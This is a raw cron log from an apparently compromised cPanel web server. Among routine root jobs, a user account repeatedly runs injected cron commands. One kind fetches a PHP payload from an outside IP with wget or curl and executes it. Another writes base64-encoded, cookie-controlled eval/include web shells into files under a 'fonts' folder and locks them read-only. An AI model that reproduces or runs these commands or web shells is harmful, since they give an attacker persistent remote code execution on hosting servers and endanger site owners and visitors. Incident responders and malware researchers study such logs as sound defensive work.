Sep 11 14:00:01 ip-184-168-122-23 CROND[14888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:00:01 ip-184-168-122-23 CROND[14891]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:00:01 ip-184-168-122-23 CROND[14889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:00:01 ip-184-168-122-23 CROND[14890]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:00:01 ip-184-168-122-23 CROND[14894]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 14:00:01 ip-184-168-122-23 CROND[14896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:00:01 ip-184-168-122-23 CROND[14895]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:00:01 ip-184-168-122-23 CROND[14897]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 14:00:01 ip-184-168-122-23 CROND[14898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:01:01 ip-184-168-122-23 CROND[15046]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 14:01:01 ip-184-168-122-23 CROND[15048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:01:01 ip-184-168-122-23 CROND[15049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:01:01 ip-184-168-122-23 CROND[15052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:01:01 ip-184-168-122-23 CROND[15050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:01:01 ip-184-168-122-23 CROND[15051]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15051]: starting 0anacron
Sep 11 14:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15069]: finished 0anacron
Sep 11 14:02:01 ip-184-168-122-23 CROND[15155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:02:01 ip-184-168-122-23 CROND[15156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:02:01 ip-184-168-122-23 CROND[15157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:02:01 ip-184-168-122-23 CROND[15158]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:02:01 ip-184-168-122-23 CROND[15159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:03:01 ip-184-168-122-23 CROND[15363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:03:01 ip-184-168-122-23 CROND[15364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:03:01 ip-184-168-122-23 CROND[15366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:03:01 ip-184-168-122-23 CROND[15365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:04:01 ip-184-168-122-23 CROND[15447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:04:01 ip-184-168-122-23 CROND[15451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:04:01 ip-184-168-122-23 CROND[15452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:04:01 ip-184-168-122-23 CROND[15449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:04:01 ip-184-168-122-23 CROND[15450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:05:01 ip-184-168-122-23 CROND[15553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:05:01 ip-184-168-122-23 CROND[15554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:05:01 ip-184-168-122-23 CROND[15555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:05:01 ip-184-168-122-23 CROND[15557]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 14:05:01 ip-184-168-122-23 CROND[15556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:05:01 ip-184-168-122-23 CROND[15559]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:05:01 ip-184-168-122-23 CROND[15558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:06:01 ip-184-168-122-23 CROND[15716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:06:01 ip-184-168-122-23 CROND[15718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:06:01 ip-184-168-122-23 CROND[15719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:06:01 ip-184-168-122-23 CROND[15717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:06:01 ip-184-168-122-23 CROND[15721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:07:01 ip-184-168-122-23 CROND[15805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:07:01 ip-184-168-122-23 CROND[15808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:07:01 ip-184-168-122-23 CROND[15809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:07:01 ip-184-168-122-23 CROND[15811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:08:01 ip-184-168-122-23 CROND[15962]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:08:01 ip-184-168-122-23 CROND[15965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:08:01 ip-184-168-122-23 CROND[15967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:08:01 ip-184-168-122-23 CROND[15969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:08:01 ip-184-168-122-23 CROND[15968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:09:01 ip-184-168-122-23 CROND[16057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:09:01 ip-184-168-122-23 CROND[16058]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 14:09:01 ip-184-168-122-23 CROND[16056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:09:01 ip-184-168-122-23 CROND[16059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:09:01 ip-184-168-122-23 CROND[16061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:10:01 ip-184-168-122-23 CROND[16188]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 14:10:01 ip-184-168-122-23 CROND[16191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:10:01 ip-184-168-122-23 CROND[16193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:10:01 ip-184-168-122-23 CROND[16194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:10:01 ip-184-168-122-23 CROND[16195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:10:01 ip-184-168-122-23 CROND[16196]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:10:01 ip-184-168-122-23 CROND[16197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:10:01 ip-184-168-122-23 CROND[16201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:11:01 ip-184-168-122-23 CROND[16296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:11:01 ip-184-168-122-23 CROND[16299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:11:01 ip-184-168-122-23 CROND[16297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
